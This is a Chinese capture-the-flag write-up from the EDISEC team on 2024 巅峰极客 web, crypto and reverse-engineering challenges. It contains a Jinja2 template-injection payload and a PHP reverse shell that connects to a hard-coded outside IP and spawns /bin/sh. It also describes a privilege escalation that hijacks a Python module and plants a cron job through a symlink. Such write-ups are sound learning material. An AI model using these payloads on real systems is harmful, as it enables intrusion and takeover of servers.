EDI
JOIN US ▶▶▶
招新
EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事。
欢迎各位师傅加入EDI,大家一起打CTF,一起进步。(诚招re crypto pwn misc方向的师傅)有意向的师傅请联系邮箱root@edisec.net、shiyi@edisec.net(带上自己的简历,简历内容包括但不限于就读学校、个人ID、擅长技术方向、历史参与比赛成绩等等。
点击蓝字 · 关注我们
01
Web
1
EncirclingGame
2
GoldenHornKing
import os
import jinja2
import functools
import uvicorn
from fastapi import FastAPI
from fastapi.templating import Jinja2Templates
from anyio import fail_after, sleep
# jinja2==3.1.2
# uvicorn==0.30.5
# fastapi==0.112.0
def timeout_after(timeout: int = 1):
def decorator(func):
@functools.wraps(func)
async def wrapper(*args, **kwargs):
with fail_after(timeout):
return await func(*args, **kwargs)
return wrapper
return decorator
app = FastAPI()
access = False
_base_path = os.path.dirname(os.path.abspath(__file__))
t = Jinja2Templates(directory=_base_path)
@app.get("/")
@timeout_after(1)
async def index():
return open(__file__, 'r').read()
@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str ):
global access
if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
return "bad char"
else:
jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})
access = True
return "fight"
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=8000)
jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})
本地调试一下,能rce,远程尝试外带失败
发现在 FastAPI 中,app.mount() 用来为静态文件指定一个路径。例如,通过 app.mount("/static", StaticFiles(directory="static"), name="static") 将静态文件路径设置为 "static" 目录。
尝试将静态文件目录改为根目录,再读flag,gpt一下
本地调试一下payload
app.mount('/static', lipsum.__globals__['__builtins__'].__import__('starlette.staticfiles').staticfiles.StaticFiles(directory='/'), name='static')
成功后打远程拿flag
3
php_online
有init.py
#init.py
import logging
logger.info('Code execution start')
init.py是wwwdata起的,且import了logging,又因为rm *无法删除目录
那么可以先创建一个logging目录,并写入payload到__init__.py文件,那么下次执行php之前 会先执行init.py->import logging→./logging/__init__.py
接下先php反弹一个webshell
<?php
$sock = fsockopen("8.134.222.157", 8085);
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);
把这个php写到tmp下面
成功写入__init__.py
把www-data的shel反弹出来
但是wwwdata还是读不了flag,发现有root起的cron
那么写定时任务提权,直接往/etc/cron.d写没有权限
使用软连接写定时任务,在sandbox中创建一个指向/etc/cron.d 的软连接 ,执行代码后, 就会指向/sandbox/软连接/phpcode,软连接指向/etc/cron.d/,最后就是 /etc/cron.d/phpcode。
此时web输入id hhhhhhhh 并执行
成功提权
02
Crypto
1
backdoorplus
from ecdsa.ecdsa import *
from ecdsa.ellipticcurve import PointJacobi
from Crypto.Util.number import *
import hashlib
import gmpy2
a,b,w,X=751818, 1155982, 908970521, 20391992
r=6052579169727414254054653383715281797417510994285530927615
m_r=3839784391338849056467977882403235863760503590134852141664
c=1294716523385880392710224476578009870292343123062352402869702505110652244504101007338338248714943
e = 65537
# sage
# r=6052579169727414254054653383715281797417510994285530927615
# p=6277101735386680763835789423207666416083908700390324961279
# a=-3
# b=2455155546008943817740293915197451784769108058161191238065
# curve=EllipticCurve(GF(p), [a,b])
# curve.lift_x(r)
y_r=405565754381893284055381014555490975664068053356177027615
curve=generator_192.curve()
n = generator_192.order()
G=generator_192
Q=PointJacobi(curve,r,y_r,1)
t=1
z=Q+(-w*t)*G+(-a*X)*Q+(-b*X)*G
zx = z.x() % n
k2 = int(hashlib.sha1(str(zx).encode()).hexdigest(), 16)
p1 = k2 * G
r = p1.x() % n
assert r==m_r
p = k2
for i in range(99):
p = gmpy2.next_prime(p)
q = gmpy2.next_prime(p)
d=inverse(e,(p-1)*(q-1))
m = pow(c,d,p*q)
for i in range(2**16):
m+=p*q
tt=long_to_bytes(m)
if b'flag' in tt:
print(tt)
03
Re
1
BabyRe
往前找发现有sha256加密,加密后有很大一块异或代码。
经过动态调试输入flag{},发现依次从第一位,第二位,第三位取出flag中三位进行hash运算,然后将hash得到的值与flag中三位循环异或。
然后动调直接在最后的条件判断之前打断点,但是发现密文和flag测试数据对不上,经过观察,发现是密文是乱序,并且不同输入得到的结果顺序也不同。直接爆破三位字母组合,并且循环异或,然后匹配密文字符串。由于每个字符串中后两位,与另一个字符串中前两位是一样的,所以可以排序出结果。
import hashlib
def Function_xor(string, hash_res):
return bytes([string[i % 3] ^ hash_res[i] for i in range(len(hash_res))])
cipher = 'EB74464F7924C56210CBFFC5A239BE0399ED2C8FB9542BA7C58A7E560F352CA03EE5E00A6EA938CF85F882C799D78BC682225428F4E556D047F15E5766855C04660DC72181954CF9976E5705CBAA483D2AAB5A69283D68E4F74C23CFA8C226D0F941E7F4FF9960F1DA677E9DBF9814B5B3E2D799074AC0120F212F3A52C37FE335D56DB4BD214600049F7F950C01FABD8625065607304F17AEF3C0F0177F9B3EBDE5663346606CB307F1645F006DB088F34F7D44BE9543A1393B29506D1D31814460FE7BAC48BDBB8E354128E7535CE73B1618C594D9D1B9BF7148A7D77077E9A7FFA0BE1CFA9800FE3364F9E7304557974045E0C950B8F3444432C16AB7DDEE371F6026FA2D6FC143598A9EE9E12736EABD515BAE24BB03E4C062DDC263F4A18C3E5C10A4CC88E19B04592B864AC883D8B994EEB2C46496B3416B000C9A344A4F3CF2C30DA6DD57B7D3701CDCB9418EAE8A0470C2AD2668ECF0E3AE6B6A29F6AE3C23E30F42571DFC507171D173F928718E2A5D18C43F7A5B20E125A6421EFBEFA5034BF44B5E66EF90124EE2CFFD9AACE7C49356A64ADFFBA0D44D29B125AB8E98386ED91129B0197AE9A642C173578EFD4784D1EE087CE765A714640F9AA867A4AD879229F1712037D522B5226B2DC7440EFCB753EC8A52C29CF1FB9BD85FA65FDA70B1261E143F9406D00D90AA0F55310652F3F908D7C1E5A841F77EBD3014FCA23CB223F8915D7730AFC7276F1C0FC7EA33A3083553D2684D964EC7E4A9205DEE6FCFEADA8B589CF48326AF2DEBF56DB42A4DFDF74BF9CB0A34BFD97B90B83E17E31FE0A48B54C94AC4175B46302D5E8B38D7CB42E618AEC9197D43B1B36891A18CDC5CA57F20284187FE6988D860ED46076F779B088D2FA78A798A55DCC6E657E8B101A23B9F8ADE02F696D905F63C626C3E07FD06002B2030B20FAFF02625D9B875A4B74DD421CCB5411CC309EBE7CC75BED408F9F486E6CFFF4F14AC36DFFB643C2721A3AD4CA95415D59CF3C3EE85FF75F2BC6FFD1FC09499544B7218F5937E8B73C7764DEBC840266B14F3D049AE9511AB135CC764C5C6F10C87C087BC8D3181D7470630D4A983FE401F46C99F4A52D81E8D4146211BFA28AE52C9D0E3974AFB2D830F443136F4464DDFEFA30688BE27A8A0158A85B8040C2C04598F2111751D296F862FFEBC2FB50D6530FE6C09D70F54664ED2F2C44365D647B3E6D5BB45707C8B18C8A248B153309605B34ED9CEF42172114F52AE47E8063131EFB2F1AD55868D648722111B00CFE2132463F9659AA1F8298ED2FBD1239071DC3ACF63661C77A5ACBB54410FF3F7CFA1701040BD2D2C8F721A37E310A84605845E7202DB021B2346A1BB920AE80DD0066F05A0524BC80339ED9932542883473FEFCA18C1C8B8C9B0E31B7169BAC1F1B9697B2799BDB869006C16C49B77525AB7546FE3345E5F01A5E248FB966B7592D2A0DA0BED3E27F6C789647FDE73F59258FFC6A638758661126FC03D24226DA7295EBDF50C52D96631B5804D02CDF2DC89FA6063CA2D00953200BED4BF734CEDBA0C56A185C46CB60ABCDD8C611E4203B4E0F217FA14389FB1A49C03180CC616C730FA48B1B96EB17D7B3BDFD9B6A7D646A57C976DD592A3F022A15399A1C37140E1897B231918DC2F2257DD2CC33FADEF99939CE9EB676674458ED487984E9F8D2C7DF23D8093940FEAB586D0E674B6B2416125DED9C2386A247F1D87BAD1CAB640579EAE3050FFD0A8AEDF52254AA5E9186F060C97150EC26626CC8451C47569764B281667A54428E096A20A5D81EB4D'
cipher_list = [bytes.fromhex(cipher[i: i + 64]) for i in range(0, 2560, 64)]
res = []
for i in range(32, 127):
for j in range(32, 127):
for k in range(32, 127):
tmp = (chr(i) + chr(j) + chr(k)).encode()
sha256 = hashlib.sha256()
sha256.update(tmp)
res_xor = Function_xor(tmp, sha256.digest())
if res_xor in cipher_list:
res.append(tmp)
print(res)
print(len(res))
#flag{194a39a4-7937-48fb-bfea-80bd17729f8a}
EDI安全
扫二维码|关注我们
一个专注渗透实战经验分享的公众号
原文始发于微信公众号(EDI安全):2024巅峰极客挑战赛—WriteUp By EDISEC
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论